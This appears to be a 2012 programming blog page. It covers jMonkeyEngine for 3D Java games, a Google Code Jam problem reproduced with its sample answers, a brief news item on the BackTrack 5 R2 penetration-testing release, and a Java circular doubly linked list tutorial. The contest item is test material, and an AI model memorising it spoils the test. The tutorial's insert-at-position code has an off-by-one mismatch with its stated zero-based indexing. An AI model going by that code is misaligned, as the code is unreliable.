d.An interface that defines methods to read primitive data types


For more such mcq please visit our partner techcresendo.com
Read More ->>

Thursday, April 19, 2012

How to create 3D Games in Java?


For creating 3D games in java you need to work with various kinds of java 3d libraries such as Java 3D APIs and Jogl libraries etc.It will be very cumbersome if you want to develop professional quality games since you will have to manage Graphics,Animations,Sprites,Game physics etc etc by yourself.
But your task will be greatly simplified if you have some game engine and 3d game maker program like Unreal Development Kit or Unity 3D.These two game engines are equipped with really great features and have been used in creating professional games.But one major disappointment for a java programmer is that they do not support java as programming language.
But there is one solution for this problem: JMONKEYENGINE 3.0
jMonkeyEngine is a SDK based on NetBeans Programming Platform and bundled with complete solutions for a 3d game making.If you worked with NetBeans already they it would much more easier to build any project in JMonkeyPlatform.
jmonkey
JMonkeyPlatform also support some other language such as such as XML, PHP, Groovy, Ruby, Scala, and even C/C++ to create 3d games so if you are efficient at these they you can use them too.One more important point is that JMonkeyEngine is open source project and is licensed under the New BSD license.
JMonkeyEngine supports following features needed by any game developer to create a 3d game


  • Shaders
  • Lighting
  • Physics
  • Special Effects
  • Asset System
  • Supported Formats
  • Texturing
  • Terrain
  • Graphical User Interface
  • Networking
  • Miscellaneous

                                                  Download JMonkeyEngine SDK

Read More ->>

Saturday, April 14, 2012

What is Google Code Jam ?



Recently I participated in Google Code Jam 2012.
It is one of  greatest international programming contest in the world and It is organized by Google.
It comprises of some toughest and challenging programming problems which you have to solve for small input set and for large input set withing a time limit.

For programming you can choose any language you are adept at i.e there is know language restriction by Google.

First round called Qualification round after that there are three or more rounds.Participants are from all around the world .Winners are awarded magnificent prizes and chance to work with Google.
So from next time keep eye on the upcoming Code Jam contest and try your best.
It's main website is http://code.google.com/codejam/ 

You can read some of problem asked here......

Problem1

We have come up with the best possible language here at Google, called Googlerese. To translate text into Googlerese, we take any message and replace each English letter with another English letter. This mapping is one-to-one and onto, which means that the same input letter always gets replaced with the same output letter, and different input letters always get replaced with different output letters. A letter may be replaced by itself. Spaces are left as-is.
For example (and here is a hint!), our awesome translation algorithm includes the following three mappings: 'a' ->'y', 'o' -> 'e', and 'z' -> 'q'. This means that "a zoo" will become "y qee".
Googlerese is based on the best possible replacement mapping, and we will never change it. It will always be the same. In every test case. We will not tell you the rest of our mapping because that would make the problem too easy, but there are a few examples below that may help.
Given some text in Googlerese, can you translate it to back to normal text?
The first line of the input gives the number of test cases, T. T test cases follow, one per line.
Each line consists of a string G in Googlerese, made up of one or more words containing the letters 'a' - 'z'. There will be exactly one space (' ') character between consecutive words and no spaces at the beginning or at the end of any line.

Output

For each test case, output one line containing "Case #X: S" where X is the case number and S is the string that becomes G in Googlerese.

Limits

1 ≤ T ≤ 30.
G contains at most 100 characters.
None of the text is guaranteed to be valid English.
 Input
3
ejp mysljylc kd kxveddknmc re jsicpdrysi
rbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcd
de kr kd eoya kw aej tysr re ujdr lkgc jv
Output
Case #1: our language is impossible to understand
Case #2: there are twenty six factorial possibilities
Case #3: so it is okay if you want to just give up





















































Read More ->>

Wednesday, April 4, 2012

BackTrack 5 R2 Unleashed !



Great news for our hacker friends a new version of popular penetration testing tool BackTrack 5 R2 is released.
BackTrack 5 R2 will provide latest hacking tools and more stable penetration testing environment than its predecessor.BackTrack 5 R2 is built upon linux kernal 3.2.6 which has updated version of hacking tools and latest securities patches.

bt5-6

BackTrack main website has a nice tutorial on how to upgrade from BackTrack 5 R1 to BackTrack 5 R2.If you want to upgrade your BackTrack to latest one the you can do it from this link.
If you are new to BackTrack then you can download the latest BackTrack from here.

More on this at techcresendo.com
Read More ->>

Friday, March 30, 2012

Java Tutorial on Circular Doubly Linked List with Generics


Circular Doubly Linked List is very much similar to Doubly Linked List with few differences such as there is no end of the list i.e Head node points to Tail node and Tail node also points to Head node.So if you do not properly check the termination condition then you will probably find yourself in an infinite loop.
Circular Doubly Linked List is advanced version of Circular Linked List.
Circular Doubly Linked List
DLNode class is similar to previous one used Generic Doubly Linked List.
Complete Java code related to Circular Doubly Linked List is listed below.
Pointing upDLNode.java:
package com.techy.rajeev;

public class DLNode<T> {
    private T data;
    private DLNode<T> next;
    private DLNode<T> prev;
    DLNode(){
        next=null;
        prev=null;
        data=null;
    }
    DLNode(T data) {
        this(data, null, null);
    }
    DLNode(T data, DLNode<T> next, DLNode<T> prev) {
        this.data = data;
        this.next = next;
        this.prev = prev;
    }

    T getData() {
        return data;
    }
    public void setNextNode(DLNode<T> next) {
        this.next = next;
    }
    public DLNode<T> getPrevNode() {
        return prev;
    }
    public void setPrevNode(DLNode<T> prev) {
        this.prev = prev;
    }
    public void setData(T data) {
        this.data = data;
    }
    public DLNode<T> getNextNode() {
        return next;
    }
}



Pointing upCircularDoublyLinkedList.java:





package com.techy.rajeev;

public class CircularDoublyLinkedList<T> {
    private DLNode<T> head;

    // Returns the no. of nodes in circular Doubly linked list
    public int getSize() {
        int count = 0;
        if (head == null)
            return count;
        else {
            DLNode<T> temp = head;
            do {
                temp = temp.getNextNode();
                count++;
            } while (temp != head);
        }
        return count;
    }

    // Traversal of circular doubly linked list
    public void traverse() {
        if (head == null) {
            System.out.println("List is empty!");
        } else {
            DLNode<T> temp = head;
            do {
                System.out.print(temp.getData() + " ");
                temp = temp.getNextNode();
            } while (temp != head);
        }

    }

    /* methods related to insertion in circular doubly linked list starts. */
    public void insertAtBeg(T data) {
        DLNode<T> newnode = new DLNode<T>(data);
        if (head == null) {
            newnode.setNextNode(newnode);
            newnode.setPrevNode(newnode);
            head = newnode;
        } else {
            DLNode<T> temp = head.getPrevNode();
            temp.setNextNode(newnode);
            newnode.setPrevNode(temp);
            newnode.setNextNode(head);
            head.setPrevNode(newnode);
            head = newnode;
        }

    }

    public void insertAtEnd(T data) {
        DLNode<T> newnode = new DLNode<T>(data);
        if (head == null) {
            newnode.setNextNode(newnode);
            newnode.setPrevNode(newnode);
            head = newnode;
        } else {
            DLNode<T> temp = head.getPrevNode();
            temp.setNextNode(newnode);
            newnode.setNextNode(head);
            head.setPrevNode(newnode);
            newnode.setPrevNode(temp);
        }

    }

    public void insertAtPosition(T data, int position) {
        if(position<0||position==0){
            insertAtBeg(data);
        }    
    else if(position>getSize()||position==getSize()){
            insertAtEnd(data);
        }else{
            
            DLNode<T>temp=head;
            DLNode<T> newnode=new DLNode<T>(data);
            for(int i=0;i<position;i++){
                temp=temp.getNextNode();
            }
            
            newnode.setNextNode(temp.getNextNode());
            temp.getNextNode().setPrevNode(newnode);
            temp.setNextNode(newnode);
            newnode.setPrevNode(temp);
        }
    }

    /* methods related to insertion in circular doubly linked list ends. */

    /* methods related to deletion in circular doubly linked list starts. */
    // Removal based on a given node for internal use only
    @SuppressWarnings("unused")
    private void remove(DLNode<T> node) {
        if(node.getPrevNode()==node||node.getNextNode()==node)
            head=null;
        else{
            DLNode<T> temp=node.getPrevNode();
            temp.setNextNode(node.getNextNode());
            node.getNextNode().setPrevNode(temp);
            }
        node=null;
    }
    public void removeAtBeg(){
        if(head==null)
            System.out.println("List is already empty!");
        else{
            DLNode<T> temp=head.getNextNode();
            head.getPrevNode().setNextNode(temp);
            temp.setPrevNode(head.getPrevNode());
            head=temp;
        }
    }
    public void removeAtEnd(){
        if(head==null)
            System.out.println("List is already empty!");
        else{
            DLNode<T> temp=head.getPrevNode();
            temp.getPrevNode().setNextNode(head);
            head.setPrevNode(temp.getPrevNode());
            temp=null;
        }
    }
    // Removal based on a given position
    public T remove(int position) {
        T data = null;
        if (position == 0) {
            data = head.getData();
            removeAtBeg();
        } else if (position == getSize()-1) {
            data=head.getPrevNode().getData();
            removeAtEnd();
        } else {
            DLNode<T> temp = head;
            for (int i = 0; i < position; i++) {
                temp = temp.getNextNode();
            }
            data=temp.getData();
            DLNode<T> node = temp.getNextNode();
            node.setPrevNode(temp.getPrevNode());
            temp.getPrevNode().setNextNode(node);
            temp = null;
        }
        return data;// Deleted node's data
    }
    /* methods related to deletion in circular doubly linked list ends. */

}


Pointing upMainClass.java




package com.techy.rajeev;
//Circular Doubly Linked list is used here.
public class MainClass {
    public static void main(String args[]){
        CircularDoublyLinkedList< Integer> cdll=new CircularDoublyLinkedList<Integer>();
        cdll.insertAtBeg(32);
        cdll.insertAtBeg(35);
        cdll.insertAtBeg(45);
        cdll.insertAtEnd(12);
        cdll.insertAtEnd(10);
        cdll.insertAtEnd(9);
        cdll.traverse();
        System.out.println();
        System.out.println("Size is:"+cdll.getSize());
        cdll.insertAtPosition(11,5);//Index starts from zero.
        System.out.println();
        cdll.traverse();
        System.out.println("\nSize is:"+cdll.getSize());
        System.out.println();
        System.out.println("Deleted:"+cdll.remove(5));
        //Index for deletion also starts from zero
        cdll.removeAtBeg();
        cdll.traverse();
        cdll.removeAtEnd();
        System.out.println();
        cdll.traverse();
        System.out.println("Size is:"+cdll.getSize());
    }
}


Pointing upOUTPUT:


45 35 32 12 10 9 11

Size is:7


Deleted:9

35 32 12 10 11


35 32 12 10 Size is:4

More on this at techcresendo.com
Read More ->>
DMCA.com Protected by Copyscape Online Plagiarism Tool